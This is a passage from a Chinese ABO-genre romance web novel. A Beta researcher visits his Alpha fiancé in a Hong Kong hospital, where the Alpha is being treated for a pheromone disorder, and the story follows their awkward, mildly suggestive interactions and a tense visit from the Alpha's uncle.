他右臂上的伤势已经明显有恢复,虽然拆线之后还需要裹换绷带,但已经不需要再定期来复查。 这也是黎白榆觉得可以返校的原因之一。 黎白榆的右臂缝合时并没有用那种可以直接吸收的线,这样虽然拆线可能有些麻烦,但也有好处,不易留疤。 去医院时,也是严野客陪他一起的,Alpha还带来了祛疤药膏。 只不过等黎白榆和麻医生聊完,准备离开时,却听严野客的声音有些沉闷。 Alpha的声线本就磁性,这时更低闷了一分,说话都好像震得人耳膜微痒。 “怎么了。”黎白榆有点纳闷,“感冒了吗?” 早上好像还好好的。 “没事。” 严野客摇头,只道。 “可能易感期刚过,有些正常的虚弱,没什么大碍。” 黎白榆这才稍稍放了点心。 当天下午,严野客就因为家事,回了一趟港城。 而黎白榆则又回了一趟别墅,去收拾自己的东西。 行李打包好,黎白榆便开始看机票。 不过明天有个特殊折扣,黎白榆便没有急于订票。 等到第二天,黎白榆还给关茴打了个电话,和对方商量自己返校的事。 只不过关茴听了,却说:“哎没事,白榆,你不用急着回来,还是先把假期好好休完。” “我还在等Nature那边编辑的回信,真有问题的话,我会邮箱同步给你。” 她并没有急着催黎白榆回来,反而还让对方多玩几天。 “好不容易休假呢,把身体养好再说。” 关茴还道。 “别跟严野客似的,人还没招待完,自己就病倒了。” 黎白榆一惊:“……病倒了?” 对此,他完全不知情。 昨天严野客就去了港城,今天还没有回来。 清早发消息时,Alpha也完全没有提到这件事。 但关茴的话不可能作假。 “对啊,我给他发消息问代码的事,才知道他在医院。” 黎白榆见状,便询问了严野客医院的具体消息。 他的通行证之类都在身边,直接就可以过关去港城。 而这边,刚回来港城的一天的严野客,的确在住院。 不只是黎白榆觉得事情突然,前来探病的陈家小少爷也都快好奇死了。 “你最近到底在忙活什么啊,大哥,还把自己给整病了?” 陈尊明啧啧称奇。 “你都好多年没住过院了吧?” 病床上,还看着电脑的严野客面色阴郁,冷气森森。 周身的低温简直比冷气机更管用。 能因为什么。 不就是因为故作大度,把人放走,同意黎白榆离开。 结果直接把自己给气病了。 “而且你这是怎么回事,还信息素出了问题?” 陈尊明一边学着电视剧里,拿水果刀给病人削苹果,一边还忍不住跟病人打探,嘴巴没闲下来一点。 “你的信息素不是一直很稳定吗,从来也没出现过这种状况啊?” 要知道,这位可是易感期都在通宵加班,能打着抑制剂搞双倍工作量的狠人。 换作谁也很难想象。 他怎么会因为信息素病倒了? 而黎白榆按照关老师给的信息,循着病房号找到这间病房时,恰巧听到的,就正是陈尊明的这句话。 黎白榆其实也有疑惑。 因为他之前看过严野客的体检单,对方所检查过的所有信息素相关,指标明明都非常稳定。 但等黎白榆敲门要进去时,却听到了那个自己的熟悉、微哑的磁沉低声。 “那怎么了。” 严野客语气冷淡,说得天经地义、理所当然,甚至带点回答废话似的不耐。 “没有为老婆信息素紊乱过的Alpha,算什么Alpha?” 第 32 章 032 ……老婆? 黎白榆微愣, 旋即听到房间里那个更为飞扬明朗的年轻男声也在疑惑。 “啊?谁是你老婆?” 不过此时黎白榆已经走到了病房门口,而且一路陪同他进来的保镖还主动抬手,敲了敲房门。 于是房间里的对话就被打断了, 只听见严野客没什么波澜地应了一声。 “进来。” 房门也被保镖帮忙推开,黎白榆便轻声向人道谢,走了进去。 病房内温度适宜,宽敞明亮, 床被也是温暖的米白色, 让半靠在病床上的Alpha看起来, 神色并不算苍白。 黎白榆看过严野客一眼,见人至少外表没什么大碍, 才稍稍松了口气。 之前不觉, 但直到这时, 青年一路从粤城赶来的紧绷才在无形中被驱散了一分。 但他还没来得及开口,却见屋内的另一个年轻Alpha霍然起身,直愣愣地盯着他,神色吃惊,还脱口而出。 “老婆!” 黎白榆:“?” 不对。 陈尊明下意识叫出声时就意识到了失误, 一下子红了脸, 面对美人的窘迫感瞬间被显露无疑。 他也一秒都没到就确认了。 原来这就是大哥的老婆! “对不起对不起。” 陈尊明连忙更正, 重新叫人。 “大嫂!” 换成这个称呼,陈尊明顿时又觉得有点欠缺。他怕大美人会不喜欢, 匆忙又改口得磕磕绊绊。 “大、大大姐夫!” “叮铃。” 病床上的严野客直接按了铃, 面无表情地呼叫通知门外的保镖。 “来个人, 把这个傻缺结巴扔出去。” 黎白榆并没有见过陈尊明,听人这么手忙脚乱地叫他,也没生气, 只向人微一颔首,略有好奇。 “这位是?” 看起来,似乎是严野客的亲友。 但严野客却回答他。 “精神科的病患。” 旁边的陈尊明早习惯了冰块大少的冷脸嘴毒,这时已经主动对着大美人开始了自我介绍。 “我是严大哥的朋友,陈尊明,男,Alpha,年方二十二岁,未婚,体健貌端有婚房——” 他说着,依然有种手脚都不知道往哪摆的紧张感,还在持续地脸红着,比他手里那个削了一半的苹果颜色都更加红彤。 哦对,那是苹果。 黎白榆的目光刚刚落在陈尊明手中的苹果上,年轻的Alpha就主动把苹果献宝似地双手递送给了他。 “大姐姐吃苹果!糖心的!” 这叫人的称呼已经完全混乱了。 而黎白榆之所以会看过去,其实是因为刚才一时都没认出来那究竟是什么。 养尊处优的陈小少爷哪里会削苹果,就是电视剧看多了想跟着学,觉得来探病一定得削个苹果,才算有诚意。 于是,一个好端端的苹果才削了一半,就被他划得这里少一角、那边缺一块。 活生生地雕刻成了一个素描考试用的立体几何。 黎白榆还没去接那个被削得惨不忍睹的苹果,床上的严野客已经直接伸手,拿过了苹果,扔在了陈尊明的脸上。 冷脸的Alpha还对听命进来的保镖说。 “拉出去,看着他把这个狗啃的苹果吃完。” “啊啊啊啊大哥大嫂——!!” 还没来得及挣扎,脸上还带着新鲜苹果汁水的陈尊明,就这么被保镖给拖走了。 房门也被办事利落稳妥的保镖带上,室内少了多余人员的嘈杂,终于安静了一分。 黎白榆这时也反应了过来:“那位陈小先生,是不是把我误认成了Omega?” 他之前也遇到过这样的Alpha,都是第一眼被美人相貌冲昏了头脑,直接把黎白榆认错了性别。即使没有闻到信息素,也坚定不移地认为那是因为黎白榆带了隔离贴。 黎白榆倒没觉得刚刚那位有什么恶意。 对年轻气盛、性取向更为大众的少男Alpha来说,会因为看到Omega而脸红心跳,也很正常。 而严野客的评价则更为直接。 “他没恶意,只是纯傻x。” 黎白榆不由失笑。 至少从声音听起来,严野客的精神还不错。 黎白榆还站在床尾,简单环顾了一下房间,顺便朝另一侧的椅子望了望。 他在看,自己坐哪里会比较不碍事。 不过,病床上的Alpha已经直接在叫他:“过来坐。” 黎白榆依言走过去,在病床边的椅子上坐了下来。 紧接着,黎白榆便正好看到了陈尊明放在床边柜子上的水果刀。 水果刀的刀柄还在桌沿外面,是一个很显眼的摆放。 也是很趁手的位置。 于是黎白榆也顺理成章地将水果刀顺手拿了起来。 “吃苹果吗?” 他看向床头柜子上的果篮里,摆放着的那些圆亮的苹果。 空气里还弥漫着一点苹果的新鲜香气。 听刚刚陈尊明的描述,这苹果好像是糖心的,应该会比较甜。 但等一手拿着水果刀的美丽Beta又去拿起一个苹果时,被询问的严野客看到此景,却是眉心一跳。 他想起了黎白榆在厨艺上的天赋。 削皮切块,也属于厨艺的一部分。 于是没等黎白榆动作,严野客就直接伸手,摊开手掌去和黎白榆要。 “?” 黎白榆看了看男人宽大干燥的空荡掌心,有些不明所以。但还是尝试着,把手中的苹果递给了他。 ……乖得让人手更痒了。 严野客不动声色地收敛了一点指骨的力度,避免把脆弱的苹果直接捏裂。 Alpha拿了苹果,依然掌心向上。 把黎白榆手里的那把水果刀也要了过来。 接着,严野客就拿过托盘,放在自己手边的桌板上。 拿着苹果开始削皮。 于是就这样,病人在床上自己削苹果,反而是来探病的人坐在了一旁等着。 好像弄反了什么似的。 黎白榆怔了怔,刚想问,却听到严野客说。 “他比我更抢眼吗?” “什么?” 黎白榆一时没意识到对方说的“他”是谁。 “陈尊明。” 严野客淡淡说着,没抬眼,看起来还在很专注地削苹果。 而不是在想削人。 “你一来,第一句话就在问他。” 一句话的醋也要吃。 绝不可能轻易无视。 “因为他是你的朋友,”黎白榆解释,还看了看严野客,“是吧?” 这个应该没问题,虽然Alpha没有亲口承认。 其实黎白榆一开始还猜过这位是不是严野客的堂弟,也就是那位严家二少。 看年龄确实比较像。 不过陈尊明姓陈,而且还是个Alpha,想来就不会是那位曾经可能和黎白榆有过婚约的二少了。 而严野客面沉如水,并未回答。 他手中的水果刀“嚓嚓”轻响,听起来就很锋利。 说起刚才,黎白榆还回想起了另一件事。 “对了,你说的‘老婆’……是指我吗?” “……” Alpha依然没说话。 虽然这一次的沉默,看起来更像是被拆穿之后的无可反驳。 黎白榆也没有过多在意,毕竟他确实和严野客有了婚约。 被人开玩笑似的叫声“老婆”,也没什么。 现在Beta更关心的,仍是另一件事。 “这次生病是怎么回事,你还好吗?” 严野客已经沉默地飞速削好了一整只苹果,开口的嗓音还有些冷漠。 “不好。” “怎么了?” 黎白榆听得微讶。 他还看到严野客抬手,准备把装着苹果皮的托盘放到一边。 但不知是意外,还是不小心,Alpha只是在做这样一个简单的动作,却突然失了力气似的晃了一下。 放去床边柜上的托盘没有事,严野客本人却歪了重心,险些偏撞到床边柜的圆角。 “当心!” 黎白榆连忙伸手去扶,用自己的身体把对方接住,避免生病的Alpha会意外磕撞到。 而他起身站得急,这一动作,几乎是把Alpha的上身护在了自己的怀里。 至少严野客结结实实地贴住了黎白榆的心口和胸腹,身侧直接感受着青年的温热体温。 他半靠着黎白榆,语气依然没什么波澜。 “现在好些了。” 抱到了。 回了点血。 “真的好些了吗?” 黎白榆还有微惑。 在亲手检查了一下严野客的颈侧和额温,确认Alpha当真没有不妥之后,他才暂时放了些心。 在病人的指导下,黎白榆又帮忙拿来了一个玻璃小碗。 严野客把削好的苹果细细地切成了三角小块,切了满满一碗,还在最后削了两瓣兔子苹果块,放在了水果碗的最上面。 苹果应该确实是糖心的,连果肉都是少见的奶白色,切开的中间还有一点剔透的晶莹感,看着就让人感觉很甜。 黎白榆还帮忙拿来了果篮里的塑料插签。 严野客接过去,插了一只在果切上。 等到一切完美装点好之后,严野客才端起玻璃碗,直接递给了黎白榆。 “吃吧。” 不是要给病人吃吗? 黎白榆微怔,但在Alpha坚持的动作,和清甜的苹果香味诱惑下,他还是下意识地接了过来。 “你不吃吗?” “你先。” 严野客收起了床边桌板,看起来不是很饿的样子。 于是黎白榆便捧着玻璃小碗,插着乳白色的果切慢慢吃。 糖心苹果果然很甜,而且有着很浓的果香味,不是那种会腻的纯甜。 他边吃,还没忘了问。 “你的病是怎么回事,这么突然,还严重到了需要住院?” 严野客没有立刻回答,而是问。 “你怎么知道我住院了?” 黎白榆道:“我和关老师打了电话,她和我说的。” 他看了看严野客,发现Alpha没有看自己,似乎是并不想让自己得知他生病的事。 听到这话,严野客还皱了皱眉。 “她说这个干什么,还让你跑到港城来。” 看起来是真的很不想烦扰到黎白榆。 ——更没有故意透露给小姨、又故意通过小姨让心上人得知自己病倒需要被探望的可能性。 而黎白榆并没有想这么多,他咬了苹果块的一个小角,没有被岔开话题。 “所以你的身体是什么问题?” 严野客这时才道:“信息素紊乱。” 这和黎白榆刚刚在门外听到的答案也一致。 青年蹙了蹙眉,问:“是因为长期未标记,还是和你的腺体损伤有关?” 非先天性、原发性的信息素紊乱,基本上都是源于这两个问题。 而严野客上个月的体检报告还很健康稳定,他本人肯定没有先天性的紊乱症状。 黎白榆又想到了易感期时,严野客把长效抑制剂直接打进了自己的腺体里。 他是不是那时受的伤? 还是因为已经受过损伤,才需要直接注射进腺体中? 但严野客看起来却不欲多说,他只道:“没事。” “可能是因为突然跨城,水土不服。” ……没记错的话,应该港城才是他居住更久的地方吧? 没等黎白榆追问,严野客又道。 “你不是要返校吗,机票看好了么?” 黎白榆看着他,把果签上剩下的半块奶白苹果都慢吞吞地吃了下去,然后问。 “你希望我回去吗?” 严野客没说话。 片刻之后,Alpha才垂眼,平静地说。 “不会耽误你的论文吗?” 黎白榆轻笑,漂亮的眼廓微微弯起。 他换了一支没用过的干净牙签,插了一块苹果,递给了严野客。 Beta颀长皙白的手指举着果切,晕着光的肤色竟是比奶白的果肉更惹眼一分,像是什么顶级奢贵的艺术品。 尤其靠近过来的动作,温和坦诚,全无防备。 更动魄惊心。 苹果的诱惑。 会唤醒心底最深处的欲望之蛇。 严野客的目光重新落回黎白榆的身上,沉默地看他半晌,却没伸手去接。 面无温度的Alpha直接启唇,就着黎白榆的手,咬住了他喂给自己的苹果。 也是这时,严野客听到黎白榆说。 “那你照顾养伤的我的时候,耽误你的工作了吗?” “……” 严野客微顿。 黎白榆这时才继续回答自己的那个问题。 “不会耽误,关老师说有问题的话,会再通知我。” Beta收回了果签,望着严野客,漂亮饱满的下眼廓线还微微弯着,很浅的笑意,却泛开了扰乱心海的涟漪。 “所以我现在不回校,要专心照看病人。” 严野客依然看着他,面无表情地含咬着苹果,牙尖齿利,切出“咔嚓咔嚓”的细微声响。 甜香四溢的汁水,在唇齿之间弥漫滴淌。 黎白榆被他久久地盯着,有些不明所以。 见Alpha很快把苹果吃完,吞了下去,黎白榆就又插了一块新的果切,递给了对方。 这次却被男人拒绝了。 严野客不吃了。 越吃越饿。 *** 严野客的情况虽然不算严重,但因为他的信息素指标还没有稳定下来,仍然需要继续住院。 而黎白榆决定了要照看病人,就不只是说说而已。 他把自己的行李都带了过来。 不过这次严野客在港城住的是私立医院,VIP病区,不说医疗水准,居住条件确实要比在公立时优渥得多。 至少黎白榆不需要加床陪护,VIP这边都是单人单间,阳光大窗,房间里就有额外的休息软床。 还有每日三次的营养配餐。 连陪护也有套餐可以吃。 这让黎白榆空有亲手做营养餐给人补充营养的想法,他的一身厨艺却没有了用武之地。 而等下午,医生来查过房之后,黎白榆还前去找医生询问了一下具体情况。 毕竟,他的研究有一部分也和信息素相关。 医生表示,严先生确实是信息素紊乱。 这次的病症,可能也和他刚刚结束的易感期有关。 “或许他在身体、情绪方面,隐忍比较久,迟迟没有得到足够的纾解。” 医生说得比较委婉,黎白榆再问时,医生也只道。 “可能严先生要求较高,比较自律。” 其余的,医生就没有再透露很多。 不过听了这些,黎白榆就觉,医生说得其实也很清楚了。 Alpha应该就是忍了太久,给自己都憋出了一点问题。 黎白榆也在思考,据目前的研究看来,信息素紊乱其实还没有对症的特效药。 即使临床会开具一些药物,也都是用来给病人提升自身的免疫能力,让AO能有力气自愈。 并不能直接治疗紊乱。 黎白榆那篇投给Nature的论文,其主要研究的,也正是与此相关的方向。 但那现在到底还只是处于理论阶段,连正式临床试验都没开始,更不可能真正用在病人的身上。 不过据黎白榆所知,对于信息素紊乱,除了用药自愈,还有两种另外的对症治疗方法。 一是找到与病人匹配的信息素,由合衬的信息素拥有者进行疏导。 再者,就是根据诱发紊乱的原因,排解堵塞的源头。 第一种黎白榆当然是不可能帮忙的,别说他自己没有信息素,他甚至连严野客的信息素都闻不到。 黎白榆还想过,如果自己能闻到的话,或许也不会连严野客的异状都没察觉,直到对方病倒住院才发现。 而第二种方式,源头是什么? 黎白榆想起了Alpha一直忍耐着的易感期。 答案其实也很明显。 因为在思考这些事,黎白榆回去的时间便耽搁了一点。 等他拿着下午茶的餐点回到病房时,就见严野客正面色沉郁地看着平板,男人点按数据的动作虽然依旧简短,却像是被谁欠了二五八万。 即使闻不到信息素,黎白榆也察觉出。 Alpha的心情似乎不太好。 “不舒服吗?” 黎白榆走进去,把茶点放在床边柜上,检查了一下床头的监测仪。 好在,监测仪的数字并没有飚红。 而看到他,严野客冷郁已久的面色才终于没那么阴到能拧出水来了。 “还好。”他淡淡道。 黎白榆还有点不放心:“不舒服就先别看工作了吧,缓一缓再看?” 他看了眼时间,马上护士应该也快要过来了。 “等下还要打针。” Alpha也很好商量的样子,直接松了手,放任自己的工作平板让对方拿走了。 看着青年转身去放平板的背影,严野客的目光在那窄细的腰线上停留了一瞬,向下滑落。 他那聒噪的、烦郁的心跳声,这时才终于微许地平缓了一分。 严野客知道自己的紊乱和住院发生的很突然,也知道黎白榆、以及其他人在担心他的身体。 但严野客不觉得有什么问题。 只要看到黎白榆在自己的视野里,他就不会生气。 严野客也承认了。 自己确实不宽容,不大度。不足够拥有明朗的坦荡心胸。 他贪得无厌,对自己的珍宝不可能有分毫松懈。 只有更浓更深的觊觎垂涎。 在严野客私自将人圈禁围起,侵占试探,却得到了暗恋对象近乎奢求的原谅,没被对方讨厌之后。 严野客心底涌生而出的,却并不是感激、幸运。 ——他的下一秒念头,居然是还想要缩缠更紧。 要像蛇,像冷雾,像阴魂不散的幽冥,如影随形。 痴缠着Beta,不可能被断绝,被摆脱。 贪婪与兴奋在严野客冰冷的血管里充盈翻腾,疯涌叫嚣。 表面如千年的霜冷冰层,森寒平静。 痴迷的爱意却在冰封的火山之中奔涌爆鸣。 严野客终于清醒地认定。 他就是这么坏。 这般恶劣,可能一辈子无法正常、无法得到渴求的回应。所以宁愿去永远伪装。 但没关系。 严野客平静地想。 如果是黎白榆。 一辈子伪装克制也没关系。 他愿意为爱他而披上人皮。 所以当放完平板的黎白榆转身回来,看向严野客时,就只看到了Alpha淡然的眉眼。 那种全然无事发生的安然平静。 让黎白榆都觉得。 果然生病时还是少看一点工作比较好。 连Alpha的脸色都更好看一点了。 但等护士来用药打针时,黎白榆还是看出了严野客克制之下的不适。 从手臂注射入体内的药物,会让Alpha明显有心跳失衡、头晕反胃的症状。 甚至在激素波动之下,严野客的眼睛也有了些许的血色浮现。 黎白榆知道,信息素浓度越高的Alpha,在治疗紊乱的时候,就可能会越难受。 因为药物毕竟会有药性冲击,而Alpha自身的信息素也会有攻击性,对药物进行自发的排斥。 想让他们自行痊愈,过程反而比那些信息素稀薄的体弱者,会更难熬一些。 所以等到护士离开,今天病区内的所有查房都结束之后,黎白榆看着靠在床头,默不作声忍耐药物反应的严野客,终于还是问出了自己下午仔细斟酌思考过的那个问题。 “要试试纾解一下吗?” 严野客:“?” Alpha抬头时,其实有一瞬真的以为,自己幻听了。 刚刚还在想着要克制,要长忍,要按捺住自己不变得面目非人。 可是此刻,近在眼前的Beta却像是梦里一般,在这样问他。 甚至比梦中更加贪妄奢求——美丽的青年不是哭着、挣扎推拒着、摇头掉着眼泪,而是这样平心静气,温和到近乎温柔地在问他。 “你喜欢什么样的方式?自己多一点,还是道具?” 黎白榆就站在床边,问的时候还倾身向前,帮严野客整理了一下腰后的靠枕,让人可以坐靠得更舒服一点。 动作间,青年颊侧的薄金长发微微滑落下来,被他抬手,用修长的指尖别在了皙白的耳后。 Beta抬眸看着人,神情中并没有任何玩笑的意味,反而格外认真。 他就用这样一张足以惑乱众生的脸,居然还和严野客讨论说。 “我是Beta,至少不会刺激到你。” “所以,需要我帮忙吗?” 第 33 章 033 严野客看着俯身过来、近在眼前的Beta, 薄唇轻抿,嘴角冷厉的廓线微微下撇。 他盯凝着人,一字一句地问。 “什么意思?” 黎白榆也望着他, 并没有刻意地起身拉开距离,嗓音依旧清湛温和。 像在给一只生人勿近、心情不好的凶兽悉心顺毛。 “就是想帮忙的意思。” “你愿意给我帮忙?” 严野客微微眯起眼睛,俊冷的面容依然看不出温度。 “你都不愿意被我亲。” 黎白榆微顿了顿:“……那不一样。” 而且——如果没记错的话。即使他没同意,也还是被对方亲了掌心。 Beta尝试解释:“这个是为了治病。” 严野客应得有些冷漠:“哦。” “那为了治病可以亲吗?” 他又开口, 问得面无表情。 “我得了‘不被黎白榆亲就会疼得受不了’病。” 黎白榆:“……” 他楚秀的面容间露出些无奈:“我没有在开玩笑。” “你这次会信息素紊乱, 是不是因为之前忍了太久, 没有得到及时的宣泄,才会出问题?” 黎白榆轻声问。 AO和Beta不一样, 性别和信息素决定了, 他们需要定期纾解。 “我还问了医生, 医生说你比较自律,可能要求会比较高。” 黎白榆道。 “所以我才想向你问一下,有没有什么需求,我能帮忙。” 严野客沉默听着,面色依然有些阴晴不明。 黎白榆还道:“这样你可以早点治愈, 早日康复。” 严野客忽然开口, 问:“你很想我快点好吗?” 黎白榆不假思索:“当然。” 严野客眸光微暗。 他不想。 严野客生病, 不舒服,所以黎白榆来陪护, 来照看他。 就像之前黎白榆住院养伤时, 被严野客照顾一样。 严野客清楚黎白榆的思路, 也因此而时刻保有着如弦紧绷的危机感,没有被天降的豪利头奖冲昏头脑。 ——他知道,黎白榆是在交还, 在回报。 等还完了账,就可以干脆利落地两清了。 但严野客不可能允许这种两清。不只是因为,他已经确信自己现在完全无法忍受黎白榆的离开。 也是因为,严野客的本性驱使—— 他誓必要两个人缠得更紧。 要纠葛牵缠,理算难明。要做坏账,要有死结。 要永远难割难舍。 所以即使听到了自己从没奢想到的、黎白榆主动提出的帮忙,严野客也没有立刻冲动。 他在死死地把方向舵霸揽在自己的怀中。 不允许黎白榆哪怕一丁点地开远。 而对严野客的阴暗想法,太过明朗、端直、善良的美丽Beta却一无所知。 黎白榆甚至还在问:“或者,你想有一些其他的帮助也可以。” “比如什么功能性的道具,你有中意的吗?” 他还在这里,一本正经地说着这些惹人的话。 黎白榆其实还真的去自己查了一些相关的功用道具,不过他对这方面确实从没有过需求,鲜少涉足,了解就不是很多。 假如说是欲.望产生与快.感获得的生理性机制,黎白榆或许还能更详细地加以专业领域的分析。 但在实践方面,他的动手经验却属实有些欠缺。 所以黎白榆也不知道严野客会喜欢什么,才会这样直接向人询问。 Alpha住院肯定是没有带这些东西,如果需要的话,黎白榆就可以去帮忙选购,或者是定制。 可黎白榆还没有等到对方的回答,后颈却倏然一紧。 “唔——?!” Beta被握住清瘦的后颈,被强行地压按了下来。他在那股无可拒绝的凶冷力度之下,猝不及防地被迫低头—— 被严野客一口咬住了他的……梨涡。 “嘶唔……” 黎白榆吃痛,薄软的唇畔浅窝被Alpha咬住,被那尖利的犬齿叼衔轻磨着。 就像他整个人变作了什么可口的小点心似的。 瘦白的后颈还被严野客的手掌压按着,让黎白榆根本无法后退起身。 干燥宽大的掌心带着薄茧,还在敏.感的颈后摩挲出了微麻的痒感。 可这些异状,也没能让黎白榆在唇畔的凉痛之中有所分神。 严野客的唇与齿都毫无间隙地贴触着黎白榆的浅软酒窝,动作已经分不清是亲吻,还是咬磨。 他的吻.咬之中也带着慑人冷意,不像是冲动,反而更像是带着火气。 “可是我想要很多很多。” Alpha低涩的声线依旧毫无温度,有如冰凌。 “你又不会同意。” ……? 黎白榆闻言微怔,却被人忽然放开。 钳制着他的力度突然松去了,严野客收回了手,一把推开扶栏下床,头也不回地径自走了出去。 还留下Beta在这里,病人却自己走了。 黎白榆仍有茫然,怔怔地站在原地,朝对方离开的房门方向看了好一会儿。 刚刚对方的话……是什么意思? 想要很多很多道具吗? 可是Alpha也没说具体的名字,怎么就知道自己会不同意? 黎白榆实在不解。 难道严野客喜欢的道具很贵? 自己也不会不舍得给人花钱啊。 黎白榆抓了抓自己耳后的金发,面露茫然。 原来他给对方的印象……是很抠门的吗? Alpha都走了,黎白榆当然不能自己在病房里傻站着,他也很懂人心事地追了上去。 不过等追到门口时,黎白榆才发现,严野客离开时还把病房门给关上了。 房门从内侧打开的方式有一点麻烦,黎白榆耽搁了开门的这一会时间,再走出去时,走廊里已经不见了Alpha的身影。 好在向前走出不远就有引导台,黎白榆过去询问了一下,值班的护士果然看到了刚刚离开的严野客。 “那位先生去营养餐厅了,还拒绝了陪同。” 是因为想要一个人待一会儿吗? “您的嘴角……” 护士再度开口,问得有些迟疑,黎白榆下意识地抬手,解释得有一点不太流畅。 “啊,不小心弄得。” 拿着护士给的创可贴,黎白榆并没有立刻追去餐厅,而是先回了病房。 对方不想让人陪同的话,自己还是现在这里等他回来吧。 黎白榆忍不住反思了一下,自己可能真的不是很会照顾人。 至少和当初严野客照顾他时相比,好像满意度差了不少。 嘴角被咬得还有一点微痛,唇畔轻轻勾扯一下,都很容易会牵动。 不过黎白榆也并没有对下口咬人的Alpha生出什么怨言。 他知道严野客正生病,现在肯定不舒服。 回房之后,黎白榆把沙发和柜子上挪动过位置的物品简单收拾过,还去病房自带的洗漱间,把吃下午茶时用过的餐具清洗了一下。 洗漱台上还有一张很大的仪容镜,黎白榆一抬眼,就看到了自己嘴角梨涡上被咬出的红痕。 他收拾完东西,对着镜子更靠近了一些,含住一口气,鼓脸仔细查看了一下。 Alpha的牙确实有一点尖。 咬出来的尖利齿痕也略有些深,红红的。 在青年薄白的皮肤之上,更被衬显得色泽发艳。 看起来,就好像黎白榆现在连嘴角也多了两枚红痣似的。 黎白榆原本想把护士好心给他的创可贴贴上,但那个创可贴是爱心形状的,覆盖伤口的药用棉面积有些偏小。 不管怎么调整,都很难把梨涡上被咬出的两处痕迹一起盖住。 尝试几次之后,黎白榆最终还是放弃了贴上它。 而且咬痕并没有出血,贴创可贴的意义也不大。 不过,等黎白榆从洗漱间出来时,却被吓了一跳。 因为不知道什么时候,房间里居然多了一个人。 那是一位英俊而陌生的男性Beta,身着裁剪得体的高定西装,衣料的光泽看起来就知道价格不菲。 但比衣装更惹眼的,却是来人的气势。 他眉眼冷肃,身形挺括,是那种一眼即见的精英上位者。 以至于黎白榆第一眼都没察觉,直到瞥见对方唇畔的浅淡细纹,才意识到。 来人的年纪甚至明显比他要长上一辈。 而站在窗边的中年Beta抬眼望过来,在黎白榆的脸上一扫而过,目光在他唇角的咬痕上淡淡停留了一秒。 对方率先开口,却是上来就猜准了黎白榆的身份。 “你是小黎,对吧?” “您是?”黎白榆有些疑惑。 他刚才并没有听到明显的动静,也没有听到严野客保镖的阻拦。 黎白榆甚至都不知道,对方是什么时候进来的。 中年Beta淡淡道:“我来看望野客。” “他去吃饭了,可能要等下回来。” 黎白榆一向不太擅长应对这种社交场面,回答完之后,也不知道该再说些什么,感觉空气都变得有些凝滞到尴尬。 于是他拿出了手机,略一示意。 “您稍等,我叫他一下。” 黎白榆本来也想知道严野客是不是真的去吃饭了,便顺势拨通了Alpha的号码。 拨电话时,他一直低头专注地看着屏幕。 并没有发觉,中年人朝他看过来的目光若有所思。 电话拨出之后,等待音响了两声。 室内依旧很安静。 而旋即,电话居然真的接通了。 黎白榆简单询问,严野客果然在餐厅。 原本Alpha的声音还有些冷,听闻有位中年Beta前来探病时,他却顿了一下。 “知道了,马上来。” 旋即,电话就被挂断了。 黎白榆把病人马上回来的消息转告给中年人,对方点了点头,并没有多言。 场面又有些安静,黎白榆忽然想到自己还没招待客人,便客气地询问。 “您要喝点什么?” 他记得病房的小冰箱里还有牛奶和橙汁。 不过,等黎白榆走向冰箱时,却听中年人道:“不用。” 接着,对方还道:“他不喜欢接电话。” 黎白榆:“?” 他回头,有些疑惑,却又听中年Beta说。 “看来他真的很喜欢你。” 黎白榆听得更有不解。 “您说的是……” 黎白榆还没问完,就听见门外走廊上传来了脚步声。 很快,房门从外面被推开。 严野客居然已经回来了。 Alpha进来,先是仔细看了一眼黎白榆,像是确认他无碍,才望向了那个中年来客。 中年Beta也开了口,语气有些低冷:“怎么搞的,把自己弄成这样?” 严野客面色无波,声线比人更冷淡。 “不是正合您的心意?” 中年人皱眉,他本就不怒自威,此时的神情更显得有些严肃迫人。 “不要拿身体开玩笑。” 严野客没有说话,缓步走了过去。 他的步伐看似散漫随意,却是不甚明显地把冰箱旁的黎白榆挡在了自己的身后。 “毕竟你情况特殊。” 但中年人的目光还是透过他,落在了黎白榆的身上,话中也似乎意有所指。 “我还以为,你不会破戒。” 宁愿选择不开始。 严野客面色无波无澜,反问:“您是来专门看我破不破戒的?” 中年人没回答,反而道:“你有事,爷爷会担心。” 严野客沉默,微不可察地蹙了蹙眉。 “好好养病。” 中年人举步走过来,沉声道。 “别仗着年轻,不把身体当回事。” 严野客半侧身,让出了离开的路,只淡淡道。 “这话您记得也和老二说。” “我当然会和他说。” 中年Beta看他一眼,也当真直接离开了。 直到房门关闭,重回安静的病房里只剩下了两个人,黎白榆还微微有些状况外。 那位来看病人的长辈,这么快就,走了吗? “他是……?” 黎白榆斟酌了一下,开口询问。 严野客的话,果然也印证了他的猜测:“是我二叔。” 来人果然是严家老爷子的那位Beta二儿子。 “他和你说了什么?”严野客问。 黎白榆便把对方出现后,两人的对话都复述了一下。 也包括了严二叔的那句,“看来他真的很喜欢你”。 转述完,黎白榆还问了一句:“怎么了吗?” 他不知道,自己的表现有没有什么问题。 严野客却道:“没什么。” 他也扫了黎白榆的唇畔一眼,淡淡。 “只是说了大实话。” 黎白榆:“……?” 不过黎白榆还有个疑惑:“那个婚约……你家里会同意我们先不结婚吗?” Beta并没打算结婚。但不管是自家的亲长,还是严家的二叔,似乎总有人出现,来提醒黎白榆还有着婚约这件事。 严野客却仿佛并不如何在意:“这是我们的婚约,别人无权干涉。” 他看向黎白榆:“只需要你同意。” 黎白榆也点了点头:“好。” 怕Alpha不想多聊,他并没有再多问。 黎白榆之前和李景煦聊时,就曾听说过外界传闻,严野客和自家二叔的关系并不好。 现在看来,在今天的交谈里,两人似乎的确有些针锋相对。 不过,他们好像也没有传闻中的那么关系僵硬、势不两立。 黎白榆本来就不太会凭借打哑谜的当面交锋,来判断其他人的真正关系。 他不擅长,便没有多想。 反正对于严野客的另一个长辈,他的小姨。 黎白榆的印象一直是很好的。 “你吃完晚餐了吗?”黎白榆问。 他见严野客回来得很迅疾,并不清楚对方有没有吃完饭。 严野客却道:“吃过了。” 确认Alpha没什么事需要帮忙,黎白榆才也去了餐厅。 走之前,他还翻出了一个口罩。 撕开包装,戴好口罩的时候,黎白榆都是侧对着病床的。 所以他并没有看到,病床旁的Alpha一言未发,全程盯看了他用口罩遮住颊边咬痕的动作。 等到黎白榆吃完饭回来,就见严野客已经洗完了澡,刚从浴室出来。 Alpha的发色极黑,因为此时湿发的缘故,发丝的颜色也更深了一分。 如夜渊,如浓墨。 黎白榆主动询问:“需要我帮忙吹吗?” 他看过,这里也没有吹风机支架。 “不用,”严野客却道,“你去洗吧。” 黎白榆便也拿了换洗衣物,去冲澡。 洗完出来,他也换上了更宽松一点的睡袍。 正值盛夏,黎白榆带的衣服也都很轻薄。 